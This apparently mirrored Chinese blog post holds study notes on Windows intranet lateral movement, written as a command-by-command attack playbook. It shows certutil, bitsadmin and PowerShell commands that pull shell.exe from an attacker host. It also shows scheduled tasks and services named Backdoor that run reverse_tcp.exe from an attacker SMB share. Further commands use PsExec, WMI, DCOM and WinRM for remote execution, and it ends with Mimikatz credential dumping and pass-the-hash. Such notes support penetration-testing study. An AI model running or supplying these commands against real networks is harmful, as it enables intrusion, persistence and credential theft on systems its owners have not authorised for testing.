11

内网渗透之横向移动 | Dar1in9's Blog

 2 years ago
source link: https://dar1in9s.github.io/2023/04/05/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/#%E5%93%88%E5%B8%8C%E4%BC%A0%E9%80%92%E6%94%BB%E5%87%BB%E7%9A%84%E5%88%A9%E7%94%A8
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

这是《内网渗透体系建设》学习笔记,第五篇:横向移动

横向移动中的文件传输

通过文件共享

执行net share命令,可以获得Windows默认开启的网络共享,其中C$为C盘共享,ADMIN$为系统目录共享,还有一个IPC$共享。

IPC(Internet Process Connection)是共享”命令管道”的资源,为了让进程间通信而开放的命令管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

实战中往往会建立IPC$连接,因为通过IPC$连接,不仅可以进行所有文件共享操作,还可以实现其他远程管理操作,如列出远程主机进程、在远程主机上创建计划任务或服务等。
建立IPC$连接需要具备以下两个条件:①远程主机开启了IPC连接 ②远程主机的139端口和445端口开放

建立IPC连接:

shell
net use \\10.10.10.19\IPC$ "password" /user:"Administrator"

查看已连接的IPC

shell
net use

连接之后,就可以使用文件命令进行操作

shell
dir \\10.10.10.19\C$

copy ./shell.exe \\10.10.10.19\C$\Users\Public

搭建SMB服务器

SMB(Server Message Block,服务器消息块),又称CIFS(Common Internet File System,网络文件共享系统),主要功能是使网络上的计算机能够共享计算机文件、打印机、串行端口和通信等资源。SMB消息一般使用NetBIOS协议或TCP发送,分别使用端口139或445,目前倾向于使用445端口。

在linux上,可以通过 https://github.com/fortra/impacket/blob/master/impacket/smbserver.py 来搭建smb服务器。

shell
mkdir /root/smbshare
python smbserver.py mysmb /root/smbshare -smb2support

通过Windows自带工具

Certutil
Certutil 是Windows自带的命令行工具,用于管理Windows证书并作为证书服务器的一部分安装。Certutil提供了从网络下载文件的功能。

shell
certutil -urlcache -split -f http://192.168.1.1:8000/shell.exe c:\users\public\shell.exe

BITSAdmin

BITSAdmin用于创建、下载和上传作业,监视其进度。Windows7及以后的系统自带BitsAdmin工具。

shell
bitsadmin /transfer test http://192.168.1.1:8000/shell.exe c:\users\public\shell.exe

# 创建一个名为test的bitsadmin任务,下载shell.exe

powershell

通过创建WebClient对象来实现文件下载

shell
(New-Object Net.WebClient).DownloadFile("http://192.168.1.1:8000/shell.exe", "c:\users\public\shell.exe")

powershell -c "(New-Object Net.WebClient).DownloadFile('http://192.168.1.1:8000/shell.exe','c:\users\public\shell.exe')"

创建计划任务

可以通过已建立的IPC连接,在远程主机上创建计划任务,让目标主机在规定的时间或周期内执行特定操作。

操作步骤:

  1. 利用已建立的IPC连接上传后门程序

  2. 利用已建立的IPC连接或指定用户凭据的方式在远程主机上创建计划任务

    shell
    schtasks /Create /S 10.10.10.100 /TN Backdoor /SC minute /MO 1 /TR C:\users\pubilc\reverse_tcp.exe /RN System /F
    # /S 指定要连接的系统; /TN 指定计划任务的名称
    # /SC 指定计划任务执行频率; /MO 指定计划任务执行周期
    # /TR 指定计划任务执行程序; /RU 指定计划任务运行的用户权限
    # /F 如果指定的任务已存在,则强制创建

    如果没有建立IPC连接,则需要指定远程主机的用户凭据

    shell
    schtasks /Create /S 10.10.10.100 /TN Backdoor /SC minute /MO 1 /TR C:\users\pubilc\reverse_tcp.exe /RN System /F /U Administrator /P Admin@2012
  3. 创建完成后,可以等待计划任务自行执行,也可以立即启动计划任务

    shell
    schtasks /RUN /S 10.10.10.100 /I /TN Backdoor
  4. 查看计划任务

    shell
    schtasks /query /S 10.10.10.100 /TN Backdoor
  5. 删除计划任务

    shell
    schtasks /Delete /S 10.10.10.100 /TN Backdoor /F

也可以通过计划任务执行系统命令,将执行结果写入文件,然后使用type命令查看文件

shell
schtasks /Create /S 10.10.10.100 /TN Backdoor /SC minute /MO 1 /TR "c:\windows\system32\cmd.exe /c 'whoami' > c:\users\public\result.txt" /RN System /F


type \\10.10.10.100\C$\users\public\result.txt

UNC路径加载

Windows系统使用UNC路径来访问网络共享资源,格式为

plaintext
\\servername\sharename\directory\filename
# servername 服务器; sharename 网络共享名字

攻击载荷在远程主机上时,可以直接使用UNC路径代替常规的本地路径,让目标主机直接在测试人员搭建的Smb共享中加载攻击载荷并执行。这样可以省去手动上传载荷的步骤。

shell
schtasks /Create /S 10.10.10.100 /TN Backdoor /SC minute /MO 1 /TR \\192.168.100.100\mysmb\reverse_tcp.exe /RN System /F

利用系统服务

创建远程服务

创建远程服务需要拥有两端主机的管理员权限和IPC连接,具体操作:

  1. 利用已建立的共享连接向远程主机上传攻击载荷

  2. 利用已建立的IPC连接在远程主机上创建系统服务

    shell
        sc \\192.168.30.132 create Backdoor binpath= "cmd.exe /k c:\users\public\reverse_tcp.exe"
    # binpath的等号后面需要有一个空格
    ```
    3. 启动服务
    ```shell
    sc \\192.168.30.132 start Backdoor
  3. shell
    sc \\192.168.30.132 delete Backdoor

SCShell

远程桌面调用

远程桌面协议(Remote Desktop Protocol,RDP)

查询注册表确定是否主机开启了远程桌面

shell
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

# 若字段值为0,则表示已启动RDP;若为1,则表示禁用RDP

开启远程桌面

shell
# 开启远程桌面
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

# 关闭“仅允许运行使用网络级别身份验证的远程桌面的计算机连接”(鉴权)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0

# 设置防火墙策略放行3389端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

对于远程主机,可以通过WMI来开启远程桌面功能

shell
wmic /Node:192.168.30.135 /User:Administrator /Password:Admin2012 RDTOGGLE WHRER ServerName='win2016' call SetAllowTSConnections 1

RDP Hijack

Windows系统下,tscon可被用来切换远程桌面的会话。正常情况下,切换会话时需要提供登录密码,但通过特殊的利用方法能够绕过验证,不输入密码实现未授权登录。

可以通过query user来列出所有登录的用户列表,得到id

在SYSTEM权限下,使用tscon <ID>来切换用户不需要验证密码。

sharp RDP

https://github.com/0xthirteen/SharpRDP

sharp rdp可以通过远程桌面协议在远程主机上执行系统命令,且不需要GUI客户端。

工具需要远程主机开启远程桌面功能,且防火墙放行3389端口

PSExec

psExec是微软官方提供的一个Windows远程控制工具,可以根据凭据在远程系统上执行管理操作,并且可以获得与命令行几乎相同的实时交互性。

PsExec的原理是通过SMB连接到服务端的Admin$共享,并释放名为”psexecsvc.exe”的二进制文件,然后注册名为”PSEXECSVC”服务。当客户端执行命令时,服务端通过PSEXECSVC服务启动相应的程序执行命令并回显数据。运行结束后,PSEXECSVC服务会被删除。

使用PSEXEC进行远程操作需要以下条件:

  1. 远程主机开启了Admin$共享
  2. 远程主机未开启防火墙或放行了445端口
shell
psexec.exe -accepteula \\192.168.30.135 -u hackme\Administrator -p Admin2012 -s cmd.exe

# -accepteula 禁止弹出许可证对话框
# -s 以SYSTEM权限启动进程

如果已经建立IPC连接,那么可以直接使用psexec连接远程主机

shell
psexec.exe -accepteula \\192.168.30.135 -s cmd.exe

WMI(Windows Management Instrumentation,Windows管理规范)时一项核心的Windows管理技术。用户可以通过WMI管理本地和远程主机。

Windows为传输WMI数据提供了两个可用的协议:分布式组件对象模型(Distributed Component Object Model, DCOM)和Windows远程管理(Window Remote Management,WinRM)使得WMI对象的查询、事件注册、WMI类方法的执行和类的创建等操作都能远程运行。

在横向移动时,可以利用WMI提供的管理功能,通过以获取的用户凭据,与本地或远程主机进行交互,并控制其执行各种行为。目前两种常见的利用方法:
1、 通过调用WMI的类方法进行远程调用,如Win32_Process类中的Create方法可以在远程主机上创建进程,Win32_Product类的Install方法可以在远程主机上安装恶意的MSI
2、 远程部署WMI事件订阅,在特定事件发生时触发

利用WMI进行横向移动需要具备以下条件:
1、远程主机的WMI服务为开启状态(默认开启)
2、远程主机防火墙放行135端口,这是WMI管理的默认端口

常规利用方法

在windows上可以通过wmic.exe和powershell cmelet来使用wmi数据和执行WMI方法。
wmic.exe是一个与WMI进行交互的命令行工具,拥有大量的WMI对象的默认别名,可以执行许多复杂的查询。powershell也提供了许多可以与WMI进行交互的cmelet,如Invoke-WmiMethodSet-WmiInstance

执行远程查询

通过WMI查询远程主机上运行的进程信息

shell
wmic /node:192.168.30.135 /user:Administrator /password:Admin2012 process list brief
# /node 执行远程主机的地址

创建远程进程
通过调用Win32_Process.Create方法在远程主机上创建进程,启动CMD来执行命令

由于WMIC在执行命令时没有回显,因此可以将执行结果写入文件,然后通过别的方式读取文件

shell
wmic /node:192.168.30.135 /user:Administrator /password:Admin2012 process call create "cmd.exe /c ipconfig > C:\result.txt"

远程安装MSI文件
通过调用Win32_Product.Install方法,可以控制远程主机安装恶意MSI文件,从而获得权限

shell
wmic /node:192.168.30.135 /user:Administrator /password:Admin2012 product call install PackageLocation="\\192.168.30.100\mysmb\reverse_tcp.msi"

常见利用工具

WmiExec

Impacket项目的Wmiexec.py能够以全交互或半交互的方式,通过WMI在远程主机上执行命令。该工机需要远程主机开启135和445端口,其中445端口用于传输命令执行的回显。

shell
python wmiexec.py Hackme/Administrator:[email protected]

Invoke-WmiCommand

WMI事件订阅的利用

WMI提供了强大的事件处理系统,几乎可以用于操作系统上发生的任何事件做出相应。

当创建某进程时,通过WMI事件订阅器来执行预先设置的脚本。
其中触发事件的具体条件被称为“事件过滤器”(Event Filter),如用户登录、新进程创建等;对指定事件发生做出相应的称为“事件消费者”(Event Consumer),包括一系列具体的操作,如运行脚本、记录日志、发送邮件等。
在部署事件订阅时,需要分别构建Filter和Consumer两部分,并将两者绑定在一起。

所有的事件过滤器都被存储在一个Root\subscription:__EventFiilter对象的实例,可以通过创建__EventFilter对象实例来部署事件过滤器。事件消费者是基于ROOT\subscription:__EventConsumer系统类派生来的类。

系统提供了常用的标准事件消费类

plaintext
LogFileEventConsumer    # 将事件数据写入指定的日志文件
ActiveScriptEventConsumer # 执行嵌入的VBScript或JavaScript
NTEventLogEventConsumer # 创建一个包含事件数据的事件日志条目
SMTPEventConsumer # 发送一封包含事件数据的电子邮件
CommandLineEventConsumer # 执行指定的系统命令

Sharp-WMIEvent

https://github.com/wh0Nsq/Sharp-WMIEvent

在远程主机上部署一个随即命名的永久事件订阅,并每隔60s执行以此SMB共享中的攻击载荷

shell
Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName 192.168.30.132 -Domain hackme.com -Username Administrator -Password Admin2012 -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe"

DCOM的利用

COM(Component Object Model,组件对象模型)是微软的一套软件组成的二进制接口标准,使得跨编程语言的进程间通信、动态对象创建成为可能。COM指定了一个对象模型和编程要求,使COM对象能够与其他对象交互。这些对象可以在单个进程中,也可以在其它进程中,甚至可以在远程计算机中。在Windows中,每个COM对象都由唯一的128位的二进制标识符标识,即GUID。

DCOM(Distracted Component Model,分布式组件对象模型)是基于COM的一系列概念和程序接口,支持不同机器上的组件间通信。利用DCOM,客户端程序对象可以请求来自网络中另一台计算机上的服务器程序对象。

部分DCOM组件公开的接口中可能包含不安全的方法。执行以下命令,可以列出计算机上所有的DCOM程序组件

shell
Get-CimInstance Win32_DCOMApplication

目前常利用的DCOM组件有:MMC20.Application、ShellWindows、Excel.Application、ShellBrowserWindow等。

使用DCOM在远程主机上面执行命令,需要具有以下条件:

  • 具有管理员权限的PowerShell
  • 可能需要关闭目标系统的防火墙。
  • 在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户

MMC20.Application

MMC20.Application对象的Document.ActiveView下存在一个ExecuteShellCommand方法,可以用来启动子进程并运行执行的程序或系统命令。

shell
# 通过progID与DCOM进行远程交互,并创建MMC20.Application对象的示例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.30.100"))

# 调用ExecuteShellCommand方法启动进程,运行攻击载荷
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c \\192.168.207.152\mysmb\reverse_tcp.exe", "Minimized")

# 合并一句话
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.30.100")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c \\192.168.207.152\mysmb\reverse_tcp.exe", "Minimized")

ShellWindows

ShellWindows组件提供了Document.Application.ShellExecute方法,适用于Windows7及以上的系统。

shell
# 通过PowerShell与DCOM进行远程交互,创建ShellWindows对象的实例:
$com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.30

.138"))

# 然后执行如下命令,我们就可以调用该对象的"ShellExecute"方法在远程主机上启动进程:
$com.item().Document.Application.ShellExecute("cmd.exe","/c C:\shell.exe","c:\windows\system32",$null,0)

# 完整的命令:
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.52.138")).item().Document.Application.ShellExecute("cmd.exe","/c C:\shell.exe","c:\windows\system32",$null,0)

Excel.Application

shell
# 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.52.138"))
$com.DisplayAlerts = $false

# 然后执行如下命令,我们就可以调用该对象的"DDEInitiate"方法在远程主机上启动进程:
$com.DDEInitiate("cmd.exe","/c C:\shell.exe")

ShellBrowserWindow

使用条件:适用于Windows 10和Windows Server 2012 R2等版本的系统。

shell
# 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.52.138"))

# 然后执行如下命令,我们就可以调用该对象的"shellExecute"方法在远程主机上启动进程:
$com.Document.Application.shellExecute("C:\shell.exe")

# 完整的命令:
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.52.138")).Document.Application.shellExecute("C:\shell.exe")

Impacket里的dcomexec.py脚本

Impacket 里面提供的 dcomexec.py 脚本可以提供一个类似于 wmiexec.py 脚本的半交互式shell,但使用的是DCOM,目前支持MMC20.Application,ShellWindows和ShellBrowserWindow对象。

命令格式如下:

shell
./dcomexec.py domain/username:password@ip
./dcomexec.py domain/username:password@ip <command>

WinRM的利用

WinRM是通过执行WS-Management协议(用于远程软件和硬件管理的Web服务协议)来实现远程管理的,允许处于一个共同网络内的Windows计算机彼此之间互相访问和交换信息,对应的端口是5985。在一台计算机启用WinRM服务后,防火墙会自动放行其相关通信端口,在另一台计算机便能通过WinRM对其进行远程管理了。

只有在Windows Server 2008以上版本的服务器中,WinRm服务才会自动启动。

在利用WinRM进行横向移动时,需要拥有远程主机的管理员凭据信息。

通过WinRM执行远程命令

Windows远程管理提供了两个工具:
① Winrs,允许远程执行命令的命令行工具,利用了WS-Manage协议
② Winrm(Winrm.cmd),内置系统管理命令行工具,允许管理员配置本机的WinRM服务。

在默认情况下,无法通过WinRM连接到目标系统。可能出现错误:Winrs error:WinRM客户端无法处理该请求。可以将默认身份验证与IP地址结合使用:
① 传输为HTTPS或目标位于TrustedHosts列表中,并且提供显式凭据
② 使用Winrm.cmd配置TrustedHosts。

执行以下命令,将目标地址添加到TrustedHosts中:

shell
winrm set winrm/config/client @{TrustedHosts="192.168.30.100"}

set-Item WSMan:localhost\client\trustedhosts -value * # 通过powershell,信任所有主机

Winrs
winrs是Windows上远程管理提供的客户端程序,允许通过提供的用户凭据,在运行WinRM的服务器上执行命令。要求通信双方都安装了WinRM服务。

shell
# 执行系统命令
winrs -r:http://192.168.30.100:5985 -u:Administrator -p:Admin2012 "whoami"

# 获取远程交互式命令行
winrs -r:http://192.168.30.100:5985 -u:Administrator -p:Admin2012 "cmd"

Winrm.cmd
winrm.cmd允许WMI对象通过WinRm传输进行远程交互,在本地或远程计算机上枚举WMI对象实例或调用WMI类方法。比如可以通过调用Win32_Process类的Create方法来创建远程实例。

shell
winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck @{commandline="notepad.exe"} -r:http://192.168.30.100:5985 -u:Administrator -p:Admin2012

Evil-Winrm

https://github.com/Hackplayers/evil-winrm

哈希传递(Pass The Hash,PTH)是一种针对NTLM协议的攻击技术。在NTLM身份认证的第三步中生成Response时,客户端直接使用用户的NTLM哈希值进行计算,用户的明文密码并不参与整个认证过程。

因此,在测试人员获取了用户名和密码哈希后,就能够使用该信息对远程主机进行身份认证,不需要暴力破解获取明文密码即可获取主机权限。

哈希传递攻击的利用

利用Mimikatz进行PTH

Mimikatz内置了哈希传递的功能,需要本地管理员权限。

① 抓取用户的哈希

shell
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

② 利用抓取的域管理员的NTLM hash进行哈希传递

shell
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:hackme.com /ntlm:93b95aef15f4d50fab96ffc44a2f326a" exit

利用impacket进行PTH

Impacket项目中具有远程执行功能的几个脚本几乎都可以进行哈希传递攻击,常见的有:

shell
psexec.py      # 类似PSEXEC的功能示例,使用remcomsvc(https://github.com/kavika13/remcom)
smbexec.py # 与使用remcomsvc的psexec w/o类似的方法。这里描述了该技术。我们的实现更进一步,实例化本地smbserver以接收命令的输出。这在目标计算机没有可写共享可用的情况下很有用。
atexec.py # 此示例通过Task Scheduler服务在目标计算机上执行命令,并返回已执行命令的输出。
wmiexec.py # 通过Windows Management Instrumentation使用的半交互式shell,它不需要在目标服务器上安装任何服务/代理,以管理员身份运行,非常隐蔽。
dcomexec.py # 类似于wmiexec.py的半交互式shell,但使用不同的DCOM端点。目前支持MMC20.Application,ShellWindows和ShellBrowserWindow对象。
shell
# 普通用法
python3 xxx.py domain/user:password@ip

# 哈希传递
python3 xxx.py domain/user@ip -hashes :93b95aef15f4d50fab96ffc44a2f326a

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK